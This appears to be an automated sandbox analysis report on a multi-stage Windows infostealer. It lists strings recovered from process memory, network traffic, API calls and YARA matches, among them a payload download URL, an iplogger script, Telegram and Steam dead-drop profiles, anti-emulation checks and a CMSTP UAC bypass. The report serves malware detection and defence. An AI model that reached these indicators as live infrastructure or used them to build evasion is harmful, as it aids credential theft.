Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serialization
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/adal_token_cache_serializationdFailed
Source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000000.1890052659.00000000003C2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-brokers
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-brokers.
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/msal-client-apps
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-interactive-android
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-2-released)
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changes
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3-breaking-changesy
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-change)
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-changeC
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/msal-net-3x-cache-breaking-changeh
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-application-configuration
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-b2c
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-brokers
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-access
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/msal-net-enable-keychain-groups
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-iwa
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/msal-net-system-browsers
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-up
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/msal-net-up)
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/net-cache-persistence-errors.
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.msa/msal-net-3x-cache-breaking-change
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com:443/
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/:
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exes
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exes23
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exesC:
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exesc
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exese
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app/ffernifre.exese7
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/ffernifre.exes
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://file-link-iota.vercel.app:80/ffernifre.exesZ0
Source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://github.com/dotnet/wpf
Source: RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe	String found in binary or memory: https://ipgeolocation.io/
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/(
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006121000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1655977960.00000000044F4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1689914217.0000000007701000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33;Y
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org:443/1nhuM4.js
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://login.microsoftonline.com/common
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://sso2urn:ietf:wg:oauth:2.0:oob
Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199761128941b
Source: RegAsm.exe, RegAsm.exe, 00000014.00000002.2522488462.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 00000014.00000002.2522488462.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: RegAsm.exe, 00000014.00000002.2522488462.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016maemBolC
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17.exe
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/iyigunl
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/iyigunlhellosqlr.dllsqlite3.dllIn
Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/iyigunlsql.dllsqlr.dllIn
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: SendBugReportNew.exe, 00000025.00000002.2111698404.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.c
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06
Source: SendBugReportNew.exe, 00000025.00000000.2006727029.0000000000401000.00000020.00000001.01000000.0000001C.sdmp	String found in binary or memory: https://www.iobit.com/en/privacy.phpOpenU
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/-
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lCdTtCgmGOaDLDOJQZFwh.exe
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://www.nuget.org/packages/Microsoft.Identity.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.241:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.46:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.210.122.61:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.188.148:443 -> 192.168.2.4:49764 version: TLS 1.2

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

Code function: 6_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

6_2_004050CD

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

Code function: 6_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

6_2_004044A5

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 21.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 37.2.SendBugReportNew.exe.2de2544.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 37.2.SendBugReportNew.exe.2de1944.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 37.2.SendBugReportNew.exe.2d9c877.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
